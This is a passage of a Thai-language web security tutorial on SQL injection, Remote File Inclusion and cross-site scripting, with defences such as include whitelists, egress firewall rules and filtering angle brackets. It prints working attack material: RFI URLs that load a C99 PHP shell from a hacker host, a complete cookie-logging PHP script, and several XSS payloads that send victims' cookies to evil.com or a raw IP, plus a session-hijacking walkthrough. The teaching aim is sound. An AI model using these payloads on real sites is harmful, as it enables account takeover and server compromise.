- เครื่ องหมาย @ ใช้ ในการแอบขโมยข้ อมูลและแนบไฟล์
ส่งกลับมายังแฮกเกอร์ เป็ นอีเมล์
- เครื่ องหมาย & เพื่อรันโปรเซสเป็ นแบคกราวด์
2.2.2 จากัดความยาวของฟิ ลด์อินพุท

การจากัดความยาวของฟิ ลต์ก็จะเป็ นการช่วยเพิ่มความ
ปลอดภัยขึน้ อีกระดับหนึ่ง เช่น ตัวอย่างในรู ป ก่อนหน้ านี ้ เป็ น
การแสดงรายชื่อไฟล์ (ที่ต้องการขโมย) บนเครื่ อง SQL Server
โดยการส่ง Single Quote ติดกับเซมิโคลอน ( ‘; ) เข้ าไปเป็ น
การคั่นคาสัง่ เพื่อที่จะได้ ส่งคาสัง่ SQL ชุดที่สองเข้ าไปซึ่งก็คือ

EXEC ตามด้ วยพารามิเตอร์ ต่ าง ๆ ซึ่งเป็ น String ที่ ค่ อ นข้ าง
ยาว ถ้ าเที ย บกับ ความกว้ างของฟิ ลต์ Username ดังนัน้ เพื่ อ
ความปลอดภัยก็ควรที่จะทาการจากัดความยาวอินพุตของแต่
ละฟิ ลต์ไว้ ตัวอย่างเช่นถ้ าเราตั ้งความยาวของฟิ ลต์ Username
ให้ มีความยาวไม่เกิน 10 ตัวอักษรแล้ ว การแฮกดังวิธีที่แสดงใน
รูปข้ างล่างนี ้ จะไม่มีทางโจมตีได้ สาเร็จแน่นอน
การค้นหาข้อมูลทีต่ อ้ งการโดยเรี ยกการใช้ xp_cmdshell

2.2.3 ย้ าย Script ป้องกันผัง่ ไคล์เอนต์ไปไว้ ยงั ฝั่งเซิร์ฟเวอร์

สาเหตุที่ต้องย้ าย Script ในการป้องกันการอินพุทต่าง ๆ
จากฝั่ งไคลเอนต์ ไปไว้ ยังฝั่ งเซิร์ฟเวอร์ ก็เพื่อป้องกันไม่ให้ แฮก
เกอร์ แก้ ไขฟอร์ ม ซึ่ง แฮกเกอร์ จะแก้ ไขฟอร์ ม ได้ อย่างง่ายดาย
โดยการบันทึกฟอร์ มลงบนเครื่ องของเขาเองแล้ วทาการแก้ ไข
Script โดยตรง เช่นเอา Script ที่บงั คับความยาวของฟิ ลต์ออก
และเอา Script ในส่ ว นที่ ป้อ งกัน การป้อ นอัก ขระพิ เศษออก
ดังนัน้ ถ้ าเราย้ าย Script ป้องกันดังกล่าว ไปไว้ ในโปรแกรมฝั่ ง
เซิร์ฟเวอร์ ก็เป็ นการยากที่แฮกเกอร์ จะเข้ าไปแก้ ไขได้
3. การโจมตีแบบ Remote File Inclusion
3.1 ความหมายของการโจมตีแบบ Remote File Inclusion

ก ารโจ ม ตี โด ย ใช้ เท ค นิ ค ไฟ ล์ อิ น ค ลู ส ชั่ น (File
Inclusion) คือการนาไฟล์โปรแกรม php ของแฮกเกอร์ เข้ าไป
แทรกเพื่อรวมเข้ ากับไฟล์ php ตัวหลักที่อยู่บนเว็บไซต์ของเหยื่อ
โดยไฟล์ php ตัว หลัก (ที่ อ ยู่บ นเว็บ ไซต์ ข องเหยื่ อ ) มัก จะท า
หน้ าที่เพียงแค่การแสดงส่วนหัวและส่วนท้ ายของหน้ าเว็บ ส่วน
ของเนื ้อหามักจะทาโดยการเรี ยกรวม (Include) มาจากไฟล์อื่น

ที่ระบุชื่อดังตัวอย่างต่อไปนี ้
http://www.victim.com/main.php?page=news.php
ไฟล์ php ตั ว หลั ก ที่ อ ยู่ บ นเว็ บ ไซต์ ข องเหยื่ อ มี ชื่ อ ไฟล์ ว่ า
main.php ท าการเรี ย กรวม (Include) เอาไฟล์ ชื่ อ news.php
เพื่อนาเนื อ้ หาในไฟล์ดังกล่าวมาแสดงตรงกลางหน้ าเว็บ การ
เขียนโปรแกรมลักษณะนี ้มักจะพบได้ บ่อยในซอฟต์แวร์ ประเภท
CMS (Content Management System) เ ช่ น Mambo,
Moodle รวมทั ้ง AppServ, PHP MyAdmin และ PHP Nuke
ในการบราวซ์ไปยังหน้ าต่าง ๆ บนเว็บไซต์ที่มีช่องโหว่นี ้
แฮกเกอร์ มัก จะพยายามมองไปยังจุด ที่ จ ะบ่ งบอกถึ ง ข้ อ มูล
เกี่ยวกับการลิ ้งค์ไปยังหน้ าอื่นเช่นการสังเกตุที่ช่อง Address ที่
อยู่ด้านบน และ Status Bar ที่อยู่ด้านล่างของบราวเซอร์ เมื่อ
แฮกเกอร์ พบการเรี ย กในลั ก ษณ ะไฟล์ อิ น คลู ส ชั่ น (File
Inclusion) เขาก็มกั จะปรับเปลี่ยนค่าพารามิเตอร์ ต่ าง ๆ ลองดู
จะเกิดอะไรขึ ้นถ้ าแฮกเกอร์ ทาการเปลี่ยนชื่อไฟล์ที่จะถูกเรี ยก

รวม (Include) ให้ เป็ นไฟล์ที่อยู่บนเครื่ องของแฮกเกอร์ เช่น
http://www.victim.com/main.php?page=http://www
.hacker.com/c99.php
ค า ต อ บ ก็ คื อ ไ ฟ ล์ ชื่ อ c99.php ที่ อ ยู่ บ น เ ว็ บ ไ ซ ต์

http://www.hacker.com จ ะ ถู ก เรี ย ก ร ว ม กั บ ไฟ ล์ ห ลั ก
(main.php) แล้ วถูกประมวลผลบนเซิร์ฟเวอร์ ของเหยื่อ จากนั ้น
ผลลัพธ์จึงจะถูกส่งมาแสดงบนหน้ าจอบราวเซอร์ บนเครื่ องแฮก
เกอร์
3.2 จะเกิ ด อะไรขึ น้ หลั ง จากที่ ไฟล์ ของแฮกเกอร์ ถู ก

Include
ไฟล์ ที่ แ ฮกเกอร์ จะท าการ Include มั ก จะเป็ นไฟล์

ประเภท PHP Shell ซึ่งได้ แก่ C99 Shell, r57 Shell และ Rato-
Scan Shell เป็ นต้ น ซึ่ ง จะเป็ นเครื่ อ งมื อ ที่ ท าให้ แฮกเกอร์
สามารถที่จะทาการต่าง ๆ ได้ ดงั ต่อไปนี ้
1. แสดงรายชื่อไฟล์ในไดเรคทอรี่ (หรื อโฟล์เดอร์ ) ต่าง ๆ

และแฮกเกอร์ ส ามารถคลิก ที่ ชื่ อ ไดเรคทอรี่ เพื่ อ ย้ ายเข้ าไปใน
ไดเรคทอรี่ ที่ต้องการได้ (นอกจากนั ้นยังสามารถย้ ายไปที่ไดร์ ฟ
อื่นได้ ) ทาให้ แฮกเกอร์ ทราบโครงสร้ างของไดเร็กทอรี่ และรายชื่อ
ไฟล์ที่สาคัญบนเครื่ องของเหยื่อ
ตัวอย่างการแฮกโดยใช้เทคนิค File Inclusion

2. เปิ ด ดู ไ ฟ ล์ บ น เค รื่ องของเห ยื่ อ เช่ น เปิ ด ดู ไ ฟ ล์

/etc/passwd ท าให้ ทราบว่าระบบนี ม้ ี user ใดบ้ าง หรื อเปิ ด ดู
ไฟล์ config.inc.php เพื่อดูรหัสผ่านที่ใช้ เชื่อมต่อกับฐานข้ อมูล
MySQL เป็ นต้ น
3. PHP Shell ที่ เ ก่ ง ๆ อย่ า งเช่ น C99 Shell และ r57
Shell มีปุ่มให้ แฮกเกอร์ กดเพื่อทาการ Upload ไฟล์จากเครื่ อง
ของแฮกเกอร์ ไปเก็ บ ไว้ บนเว็ บ เซิ ร์ ฟ เวอร์ ข องเหยื่ อ ได้ โดย
ส่วนมากแล้ วแฮกเกอร์ มกั จะ Upload เอา PHP Shell ขึ ้นไปไว้
เพื่อความสะดวกในการเรี ยกใช้ ตัวอย่างเช่นจากเดิมเรี ยก PHP
Shell ผ่านเทคนิค File Inclusion ดังนี ้
.hacker.com/c99.php
แต่หลังจากที่ทาการ Upload ไฟล์ c99.php ขึ ้นไปไว้ บนเว็บเซ

ริฟเวอร์ ของเหยื่อแล้ ว แฮกเกอร์ สามารถที่เรียกใช้ Shell ดังนี ้
http://www.victim.com/c99.php
C99 Shell r57 Shell
Rato-Scan CMD Shell CMD > 4LoNe’5 > File List
โปรแกรม PHP Shell ชนิ ดต่าง ๆ ทีแ่ ฮกเกอร์ นิยมใช้ในการแฮก

แบบ File Inclusion
4. แฮกเกอร์ สามารถสัง่ รันคาสัง่ ของ Linux หรื อคาสัง่ บน

Windows (กรณีที่เว็บเซิร์ฟเวอร์ เป็ น Windows) ได้ เช่นคาสัง่
find /usr/local/www/htdocs/ -perm 777
สาหรับทาการค้ นหาไดเร็ คทอรี่ ที่สามารถเขียนข้ อมูลได้ เพื่อให้

แฮกเกอร์ ทราบว่าจะสามารถ Upload ไฟล์ไปวางไว้ ที่ใดได้ บ้าง
หรื อใช้ คาสัง่ ในการ copy ไฟล์ข้อมูลที่สาคัญไปไว้ บนไดเร็คทอรี่
ดังกล่าวเพื่อทาการ download ขโมยข้ อมูลได้ ดังนั ้นหลังจากที่
แฮกเกอร์ ทา File Inclusion เพื่อให้ รัน PHP Shell บนเครื่ องเว็บ
เซิร์ฟเวอร์ ของเหยื่อได้ เขาก็สามารถที่ จะขโมยข้ อมูล ทาการ
Upload ไฟล์ PHP Shell หรื อโทรจันขึ ้นไปไว้ บนเซิร์ฟเวอร์ ของ
เหยื่ อ หรื อ อาจจะ Upload ไฟล์ .html, .php, .jpg เพื่ อเปลี่ย น
โฉมหน้ าของเว็บไซต์ ได้ นอกจากนัน้ อาจจะเปิ ด ดูไฟล์ ต่ าง ๆ
เพื่อค้ นหารหัสผ่าน เช่นไฟล์ config.inc.php จะมีรหัสผ่านของ
MySQL ซึ่งในฐานข้ อมูล MySQL ก็อาจจะมีรายชื่อสมาชิกใน
ระบบและรหัสผ่านของผู้ใช้ ทกุ คน
3.3 การป้ องกันการแฮกด้ วย File Inclusion

3.3.1 การป้องกันโดยการใช้ ตวั เลขแทนชื่อไฟล์
ช่องโหว่ที่แท้ จริงของเว็บไซต์ที่สามารถถูกโจมตีด้วย
เทคนิค File Inclusion ก็คือการเขียนโปรแกรมให้ มีการเรี ยก
รวมไฟล์ที่สองเข้ ามาเป็ นส่วนหนึ่งของไฟล์แรก การป้องกันที่
ได้ ผลที่สดุ คือการให้ พารามิเตอร์ ที่เป็ นตัวเลขดังนี ้
http://www.victim.com/main.php?page=15
โดยในโปรแกรมจะต้ องมีเงื่อนไขหรื อฐานข้ อมูลที่ใช้ Map ว่า

หมายเลขใดคือไฟล์ใด ดังนั ้นตัวเลขที่สามารถใช้ ได้ ก็คือตัวเลข
ที่เราอนุญาตเท่านั ้นซึง่ มีอยู่จานวนจากัด ทาให้ การเรี ยกรวม
ไฟล์เกิดขึ ้นกับไฟล์ที่มีอยู่จานวนจากัดที่เราตั ้งไว้ เท่านั ้น ดังนั ้น
แฮกเกอร์ จงึ ไม่สามารถที่จะเรียกรวมไฟล์อื่นที่ไม่อยู่ในลิสต์ได้
การเรี ยกรวมไฟล์ที่อยูน่ อกลิสต์เช่น
http://www.hacker.com/c99.php จะไม่สามารถทาได้
3.3.2 การป้องกันโดยการตรวจหาและแทนที่ http://

สาหรับกรณีที่เราพบว่าเว็บไซต์ของเรานั ้นมีช่องโหว่ File
Inclusion หลังจากที่ตรวจสอบโดยวิธีการที่ได้ นาเสนอในหัวข้ อ
ต้ น ๆ นั ้น เราก็มีวิธีการสามารถที่จะทาการป้องกันแบบชัว่ คราว
ได้ อย่างรวดเร็ วเช่นกัน โดยใช้ วิธีการตรวจสอบและกรองคาว่า
http:// ซึ่งแฮกเกอร์ จะใช้ เพื่ออ้ างอิงไปยังเว็บไซต์ที่มี PHP Shell
อยู่ ตัวอย่างเช่นเมื่อแฮกเกอร์ ทาการโจมตีโดยเรี ยกดังนี ้
.hacker.com/c99.php
ถ้ าเรามีการกรองเอา http:// ออกไปโดยเขียนโปรแกรมให้ แทนที่

ด้ วย 1234567 จะทาให้ ผลลัพธ์กลายเป็ นดังนี ้
http://www.victim.com/main.php?page=1234567www
.hacker.com/c99.php
(ทาให้ การโจมตีของแฮกเกอร์ ล้มเหลว)
3.3.3 การป้องกันโดยไม่ให้ เว็บเซิร์ฟเวอร์ ติดต่อกับ อินเทอร์ เน็ต

ด้ วยพอร์ ต 80
เนื่องจากมีการเรี ยกรวมไฟล์ PHP Shell ของแฮกเกอร์ ที่

อยู่บนเว็บเซิร์ฟเวอร์ อื่นในอินเทอร์ เน็ต เว็บเซิร์ฟเวอร์ ของเราจะ
ทาการ request เอาไฟล์ PHP บนเซิ ร์ฟเวอร์ ดังกล่าวโดยการ
คอนเน็คไปที่พอร์ ตหมายเลข 80 ของเว็บเซิร์ฟเวอร์ ที่เก็บไฟล์
PHP Shell ดังนั ้นถ้ าทาการสกัดกั ้นไม่ให้ เว็บเซิร์ฟวเวอร์ ของเรา
ติดต่อกับพอร์ ต 80 กับเครื่ องอื่นบนอินเทอร์ เน็ตได้ ก็จะสามารถ
ป้ อ งกั น ได้ โดยการป้ อ งกั น ดั ง กล่ า วสามารถท าได้ โดยการ
กาหนดที่เว็บเซิร์ฟเวอร์ ของเราและการกาหนดที่ไฟร์ วอลล์
- การป้องกันการติดต่อพอร์ ต 80 โดยกาหนดที่เว็บเซิร์ฟเวอร์
เซิร์ฟเวอร์ ที่เป็ น Linux จะมี Firewall ที่ชื่อว่า IPTABLES
ติดมาให้ ใช้ งาน ดังนั ้นเราเพียงแต่ทาการ Enable ให้ IPTABLE
ทางานแล้ วทาการตั ้งกฎเพิ่มเข้ าไปเพียงบรรทัดเดียวก็สามารถ
ป้ อ งกั น การค อน เน็ ค พ อร์ ต 80 ได้ ตั ว อย่ า งของก ฎใน
IPTABLES ที่ใช้ มีลกั ษณะดังนี ้
# iptables -A OUTPUT -p TCP --dport 80 -j

REJECT
ถ้ าเซิ ร์ ฟเวอร์ เป็ น Windows Server 2003 สามารถ

ป้องกัน ได้ โดยใช้ Personal Firewall ติ ด ตัง้ บนเซิ ร์ฟเวอร์ ก่ อ น
แล้ วจึงตัง้ ค่ ากฎใน Personal Firewall ไม่ให้ ท าการติ ด ต่ อ กับ
เครื่ อ งอื่ น บนพอร์ ต 80 และยั ง มี อี ก วิ ธี ห นึ่ ง ที่ เ ราไม่ ต้ องใช้
Personal Firewall ก็คือการใช้ ตัว Filter ที่ติดมากับ Windows
เองซึง่ สามารถเข้ าไปตั ้งค่าได้ ในโปรแกรม mmc เปิ ดเมนู
File -> Add/Remove Snap-in … ก ด ปุ่ ม Add เลื อ ก IP
Security Policy Management แล้ วท าการตั ง้ ค่ า ใน Server
(Request Security) เพื่ อให้ มัน Block การคอนเน็ค ออกไปยัง
IP Address อื่นบนพอร์ ต 80
อย่ างไรก็ต ามวิธีก ารนี ก้ ็ ไม่ส ามารถป้องกัน กรณี ที่ แฮก
เกอร์ ใช้ เว็บ (ที่ เก็บ PHP Shell) ในพอร์ ต อื่น เช่น https หรื อใช้
พอร์ ต 25 หรื อพอร์ ตอื่น ๆ ได้ ดังตัวอย่างข้ างล่างนี ้ (แต่ก็พบได้
น้ อยมาก)
http://www.victim.com/main.php?page=https://ww
w.hacker.com/c99.php
.hacker.com:25/c99.php
- การป้องกันการติดต่อพอร์ ต 80 โดยกาหนดที่ไฟร์ วอลล์ของ

หน่วยงาน
การป้องกันโดยการกาหนดที่เซิร์ฟเวอร์ จะทาได้ ดีในกรณี
ที่มีเซิร์ฟเวอร์ จานวนน้ อย ๆ หรื อหน่วยงานดังกล่าวไม่มีอปุ กรณ์
ไฟร์ วอลล์ แต่ในทางกลับกันถ้ ามีเรามีอุปกรณ์ ไฟร์ วอลล์และมี
เซิร์ฟเวอร์ อยู่เป็ นจานวนมาก การป้องกันโดยการตั ้งกฎที่ไฟล์
วอลล์เพียงบรรทัดเดียวจะเหมาะสมกว่า การตั ้งกฎที่ไฟล์ทาได้
แตกต่างกันโดยจะขึ ้นอยู่กับยี่ห้อหรื อรุ่ นของไฟร์ วอลล์ที่ใช้ แต่
ใช้ Concept เดียวกันคือตั ้งกฎว่า ถ้ าเพ็ตเก็ตที่ต้นทางมาจาก
กลุ่มไอพีแอดเดรสของเครื่ องเว็บเซิร์ฟเวอร์ และมีปลายทางไป
ยัง ที่ อื่ น บนพอร์ ต 80 ให้ ท าการบล็ อ ก ตั ว อย่ า งเช่ น กฎของ
IPTABLES Firewall ดังต่อไปนี ้
# iptables -A FORWARD -p TCP -s $DMZ_WWW_GROUP --dport
80 -j REJECT
3.4 สรุ ปเกี่ยวกับ Remote File Inclusion

ในบทนี ้เราได้ เรี ยนรู้ ถึง จุดอ่อนของเว็บไซต์ ที่สามารถถูก
แฮกได้ โดยใช้ เทคนิค File Inclusion โดยแฮกเกอร์ จะมีการอ้ าง
ไปยังไฟล์ PHP Shell ที่อยู่บนเซิร์ฟเวอร์ ในอินเทอร์ เน็ตเพื่อทา
การรวมเข้ ากับไฟหล์ PHP ตัวหลักที่อยู่บนเว็บไซต์ของเหยื่อ ทา

ให้ แฮกเกอร์ สามารถที่ควบคุมเครื่ องเว็บเซิร์ฟวเวอร์ ของเหยื่อได้
จากระยะไกลผ่านทาง และเราก็ได้ เรี ยนรู้ การป้องกัน การแฮก
เว็บไซต์ จาก File Inclusion โดยป้องกันด้ วยวิธีการต่าง ๆ เช่น
การเขียนโปรแกรมให้ เรี ยก Include เอาตัวเลขประจาไฟล์แทน
ชื่อไฟล์ การแทนที่ http ด้ วยตัวอักษรอื่น หรื อการป้องกันโดยใช้
ไฟร์ วอลล์ ซึ่งความรู้ ในบทนี ท้ ่ านผู้อ่ านสามารถน าไปใช้ เพื่ อ
ป้องกันเว็บไซต์ของท่านได้
4. การโจมตีแบบ Cross Site Scripting (XSS)
4.1 ความหมายของ XSS

XSS ย่ อ มาจาก Cross Site Scripting เป็ นการโจมตี
เว็บไซต์ที่ได้ รับความนิยมมากที่สดุ ในปี 2006 และ 2007 ที่ จดั
อั น ดั บ โดย OWASP: The Open Web Application Security
Project (http://www.owasp.org) ส า เ ห ตุ ที่ Cross Site
Scripting ไม่ ใ ช้ ตั ว ย่ อ ว่ า CSS เนื่ อ งจากจะท าให้ ซ า้ กั น กั บ
CSS: Cascading Style Sheets
การท างานของ XSS คื อ Script ของผู้ โจมตี ที่ อ ยู่ บ น

Web Site หนึ่ ง แต่ ไ ปท างานอยู่ บ นอี ก Web Site หนึ่ ง หรื อ
ทางานบนบราวเซอร์ ของเหยื่อ ผู้โจมตี (แฮกเกอร์ ) มักใช้ XSS
เพื่อขโมย Cookie ของสมาชิกของเว็บไซต์หรื อของ admin โดย
การป้อนสคริ ป เช่ น <script> some java script </script> ไป
ยัง Server หรื อส่งไปยังเหยื่อโดยตรง เพื่อให้ ผลการทางานเกิด
ขึ ้นกับเหยื่อเช่น
 แฮกเกอร์ ปอ้ น script ทางเว็บบอร์ ด

 แฮกเกอร์ ปอ้ น script ทางช่องทา Chat
 แฮกเกอร์ แทรก script ไปกับอีเมล์
ตั ว อย่ า งแฮกเกอร์ แ ทรก Script เข้ าไปยั ง เว็ บ บอร์ ด

หลังจากนัน้ Script จะถูกเก็ บไว้ ที่ เว็บบอร์ ด เมื่อ เหยื่ อ เข้ ามา
คลิกเพื่ออ่านกระทู้ script ก็จะทางานแล้ วเกิดการ request ไป
ที่
http://www.evil.com/path/cookie.php?string=document.cookie
เป็ นต้ นโปรแกรม cookie.php ที่อยู่บนเครื่ อง www.evil.com มี
ไว้ เพื่ อ ดั ก จั บ แ ล ะเก็ บ บั น ทึ ก ค่ า Cookie ที่ เห ยื่ อ ส่ งม า

รายละเอียดของไฟล์มีดงั นี ้
# cookie.php
<?
$cook=$_GET['cook'];
$cooks=explode("; ", $cook);
$text="";
if(!empty($cooks)) foreach($cooks as $k =>
$v)
{
if(preg_match("/^(.*?)\=(.*)$/", $v, $r))
$text.=urldecode($r[1])."=".urldecode($r[2])."
\r\n";
else $text.="cannot decode $v";
}
# mail ("attacker@attacker.ru", "cook",
$text);
$myFile = "data.txt";
$fh = fopen($myFile, 'a') or die("can't open
file");
$stringData = $cook; fwrite($fh, $stringData);
$stringData = "\n"; fwrite($fh, $stringData);
fclose($fh);
?>
เครื่ อง evil อาจจะเป็ นเครื่ องของแฮกเกอร์ เอง หรื อเป็ น

เครื่ อ งอื่ น ที่ แ ฮกเกอร์ แ อบเข้ าไปใช้ งาน แฮกเกอร์ จ ะเข้ า ไปดู
Cookie ใน www.evil.com เป็ นระยะ ๆ หรื ออาจจะมีการตั ้งให้

มีการส่งอีเมล์มายังแฮกเกอร์ เมื่อได้ Cookie ของเหยื่อมา แฮก
เกอร์ ก็จะรี บเอา Cookie ดังกล่าวไปใช้ เพื่อเข้ าสู่ระบบด้ วยสิทธิ์
ของเหยื่อ (แฮกเกอร์ จะต้ องรี บนา Cookie ไปใช้ ก่อนที่ Cookie
จะหมดอายุ)
4.2 ตัวอย่ างการโจมตีด้วย XSS
4.2.1 แฮกเกอร์ จะแทรก Script ง่าย ๆ เพื่อทดสอบช่องโหว่

แฮกเกอร์ จะเริ่มโดยการแทรก Script ง่าย ๆ เช่น alert(1) เพื่อ
เป็ นการทดสอบว่าเว็บไซต์แห่งนั ้นมีช่องโหว่ XSS หรื อไม่ ดัง
ตัวอย่างต่อไปนี ้
<script> alert(1) </script>
หลั ง จากแทรก Script แล้ ว หากท าการเข้ าไปอ่ า น

ข้ อความที่ โ พสต์ (เข้ าไปอ่ า น Script ที่ แ ทรกไว้ ) แล้ วเห็ น
ข้ อความ <script> alert (1) <script> แสดงว่า เว็บไซต์แห่งนั ้น
ไม่มีช่องโหว่ XSS แต่หากเว็บนั ้นมีช่องโหว่ script ที่เราแทรกไว้
ก็จะทางาน (มี Message Box แสดง เลข 1)
ทดสอบ XSS อย่างง่าย บนเว็บบอร์ ด
ผลลัพธ์ ของการทดสอบ XSS อย่างง่าย

4.2.2 แทรก Script ที่ทางานซับซ้ อนขึ ้น

หลังจากที่ตรวจพบว่าเว็บไซต์ แห่งนัน้ มีช่องโหว่ XSS หากเรา
แทรก Script ที่ มี ค วามซับ ซ้ อ นมากขึน้ เช่ น ท าการแสดงค่ า
Cookie ออกมาทางหน้ าจอ ดัง script ต่อไปนี ้
<script> alert(document.cookie) </script>
ผลลัพธ์จากการแทรก script เพื่อแสดงค่า Cookie จะเป็ นดังรูป

21 (เพื่อไม่ให้ เจ้ าของเว็บบอร์ ดรู้ตวั แฮกเกอร์ ที่มีความชานาญ
จะทาการแทรก script ที่เขาต้ องการให้ ทางานเลย โดยไม่
ทดสอบตามขั ้นตอน)
แทรกสคริ ปให้ Alert ค่า Cookie

ผลลัพธ์ ของสคริ ป Alert ค่า Cookie
4.2.3 แทรก Script เพื่อขโมย Cookie
ต่อไปจะเป็ นวิธีการที่แฮกเกอร์ จะแทรก script เพื่อบังคับ

ให้ เหยื่อ (ผู้ซงึ่ เข้ าไปอ่านข้ อความของแฮกเกอร์ ) ทาการโยน
Cookie ของตนเองมายังเว็บของแฮกเกอร์ โดยแฮกเกอร์ จะต้ อง
แทรก script ดังนี ้
<script>
idata = new Image;
idata.src="http://www.evil.com/cookie.php
?cook="+escape(document.cookie);
</script>
เมื่ อ script ข้ างต้ น ถูก post ไว้ บนเว็บ บอร์ ด แล้ วเหยื่ อ
หลงกลเข้ ามาอ่ านกระทู้ script ดังกล่าวจะถูก ส่งจากเครื่ อ ง
เซิ ร์ ฟ เวอร์ (เว็ บ บอร์ ด ) มายั ง บราวเซอร์ ข องเหยื่ อ เพื่ อให้

บราวเซอร์ แ สดงข้ อ ความ ซึ่งข้ อ ความดังกล่าวไม่ใช่ ข้อ ความ
ธรรมดาแต่ กลับเป็ น script ดังนัน้ script ก็จ ะเริ่ มท างานโดย
การท างานเกิ ด ขึ น้ บนบราวเซอร์ ข องเหยื่ อ script จะหลอก
บ ร า ว เ ซ อ ร์ ว่ า มี ไ ฟ ล์ รู ป ภ า พ อ ยู่ ที่
http://www.evil.com/cookie.php พร้ อมกันนัน้ มีการบังคับให้
ส่ง Cookie ไปยังเว็บไซต์ดงั กล่าวด้ วย ดังนั ้นพอบราวเซอร์ ของ
เหยื่ อ ท าการส่ ง cookie ไปยัง www.evil.com เรี ย บร้ อยแล้ ว
โปรแกรม cookie.php ที่ อ ยู่ บ น www.evil.com ก็ จ ะท าการ
บันทึก cookie เก็บไว้
ผู้ เขี ย นขออธิ บ ายการท างานดัง นี ้ เริ่ ม จากแฮกเกอร์
(sam) นาสคริ ปไป post ไว้ บนเว็บบอร์ ดในช่อง Message และ
ตั ้งชื่อกระทู้ที่น่าคลิกเข้ าไปอ่านมาก จากนั ้นเหยื่อ (ซึ่งเป็ นผู้ใช้
ใด ๆ หรื ออาจจะเป็ น admin ก็ได้ ) คลิกเข้ าไปอ่านข้ อความที่
แฮกเกอร์ ได้ post ไว้ (ซึ่งได้ รับการเก็บไว้ ที่เซิร์ฟเวอร์ เว็บบอร์ ด)
ข้ อความดังกล่าวจะถูกส่งไปให้ เหยื่อ (เซิร์ฟเวอร์ เว็บบอร์ ดเป็ นผู้
ส่ ง ส่ ว นบราวเซอร์ บ นเครื่ อ งของเหยื่ อ เป็ น ผู้รับ ข้ อ ความทุ ก
ตัวอักษร) จากนัน้ บราวเซอร์ ของเหยื่อ ก็จะพยายามจะแสดง
ข้ อความนัน้ ให้ เจ้ าของของมันสามารถอ่านได้ แต่ด้วยความโง่

ของบราวเซอร์ เมื่อมันพบ <script> มันจึงทางานตามนั ้น คือไป
เปิ ดรูปภาพบนอินเทอร์ เน็ตชื่อไฟล์
http://www.evil.com/mambo/data/cookie.php
พร้ อมกับส่งพารามิเตอร์ ไปด้ วย
(?cook="+escape(document.cookie))
แต่รูปภาพดังกล่าวไม่ใช่ของจริ ง แต่เป็ นเพียงหลุมพรางที่วาง
เอาไว้ ดัก Cookie จากนัน้ แฮกเกอร์ ก็ นาเอา Cookie ไปใช้ งาน
เพื่อเข้ าระบบด้ วยสิทธิ์ของเหยื่อ และโชคร้ ายไปกว่านัน้ ที่เว็บ
มาสเตอร์ ห รื อ ผู้ ดู แ ลเว็ บ บอร์ ด (admin) มาเปิ ดดู ก ระทู้ นี ้
เช่น เดี ยวกัน สุดท้ ายแล้ วแฮกเกอร์ ก็ส ามารถเข้ าสู่ระบบด้ วย
สิทธิ์ของ admin
หลังจากที่แฮกเกอร์ ก็จะได้ Cookie ของ admin มาแล้ ว
แฮกเกอร์ ก็นา Cookie ของ admin มาใช้ โดยการ copy ค่าของ
Cookie ของ admin ไปแทนที่ Cookie ของแฮกเกอร์ (sam) ใน
บ รา ว เซ อ ร์ Opera (ใช้ เม นู Tools->Advanced->Cookie)
จากนัน้ กดปุ่ ม F5 บนคีย์บอร์ ดเพื่อ refresh หน้ าจอ แฮกเกอร์
(sam) ก็จะสามารถเข้ าสูเ่ ว็บบอร์ ดด้ วยสิทธิ์ของ admin ได้
เมือ่ แฮกเกอร์ (sam) นา Cookie ของ admin ไปแทนที ่

Cookie ของตนเอง
ในการใช้ งานจริงแฮกเกอร์ จะอ้ างถึงเครื่ อง evil ด้ วยไอพีจริง
หรื ออ้ างชื่อในระบบโดเมน และไฟล์ cookie.php อาจจะถูกเก็บ
ไว้ ในไดเร็กทอรี่ ที่อยูล่ กึ ๆ เช่น
<script>
idata = new Image;
idata.src="http://202.28.321.99/mambo/cookie.php?
cook="+escape(document.cookie);
</script>
หรื อ
<script>
idata = new Image;
idata.src="http://www.evil.com/mambo/data/cookie.
php?cook="+escape(document.cookie);
</script>
4.2.3 script แบบต่าง ๆ ที่แฮกเกอร์ มกั ใช้

Script ที่ใช้ ใน XSS นอกจากจะใช้ ในลักษณะดังนี ้
<script>
idata = new Image;
idata.src="http://www.evil.com/path/cookie.php?co
ok="+escape(document.cookie);
</script>
นอกจากรูปแบบดังตัวอย่างที่ 1 แฮกเกอร์ ยงั นิยมใช้ สคริป

ลักษณะอื่น ๆ อีก ดังตัวอย่างข้ างล่างนี ้
<script>
var x=new Image();
x.src='http://www.evil.com/path/cookie.php?cook='
+document.cookie;
</script>
<script>
var cookie=document.cookie;
document.write("<img
src=www.evil.com/path/cookie.php?cook="+cookie+">");
</script>
(ตัวอย่างที่ 4 – Popup Windows)

<script>
window.open('http://www.evil.com/path/cookie.php?
cook='+document.cookie);
</script>
<script>
document.location.replace('http://www.evil.com/pa
th/cookie.php?cook='+document.cookie);
</script>
นอกจากการสร้ าง script เพื่อบังคับให้ เหยื่อส่ง Cookie

ไปยังเซิร์ฟเวอร์ ของแฮกเกอร์ แล้ ว ยังมีอีกวิธีการหนึ่งที่มักพบ
บ่อย ๆ ก็คือแฮกเกอร์ จะใช้ script บังคับให้ บราวเซอร์ ของเหยื่อ
โยนค่ า Cookie ไปเก็ บ ไว้ บ นเว็ บ บอร์ ด สาธารณะ แฮกเกอร์
สามารถสัง่ ให้ บราวเซอร์ ของเหยื่อทาการส่ง Cookie ของเขาไป

ไว้ บนเว็บบอร์ ดอื่น ๆ ในอินเทอร์ เน็ตได้ โดยแฮกเกอร์ จะศึกษา
การทางานของฟอร์ มในเว็บบอร์ ดสาธารณะดังกล่าวก่อน ว่ามี
การส่ ง พารามิ เ ตอร์ อ ย่ า งไร และปรั บ เปลี่ ย น Method จาก
POST ให้ เป็ น GET แล้ วนาพารามิเตอร์ ต่าง ๆ มาส่งทาง URL
โดยแฮกเกอร์ ส ามารถที่ จ ะสร้ างลิง้ ใน script เพื่ อ ให้ Cookie
ของเหยื่ อ ไปอยู่บนเว็บ บอร์ ด สาธารณะในต าแหน่ ง Subject,
Name หรื อ Message Body ก็ได้
4.3 การป้ องกัน XSS
4.3.1 ป้องกันเครื่ องหมาย < และเครื่ องหมาย >

เราสามารถป้องกัน XSS ได้ โดยการป้องกันเครื่ องหมาย
น้ อยกว่ า < และเครื่ อ งหมายมากกว่ า > โดยการปรั บ ปรุ ง
โปรแกรม Web Board (หรื อเว็บไซต์ ในตาแหน่ งที่มีการรับค่ า
อินพุต) หรื อโดยการป้องกันไม่ให้ มีการส่งเครื่ องหมาย < หรื อ >
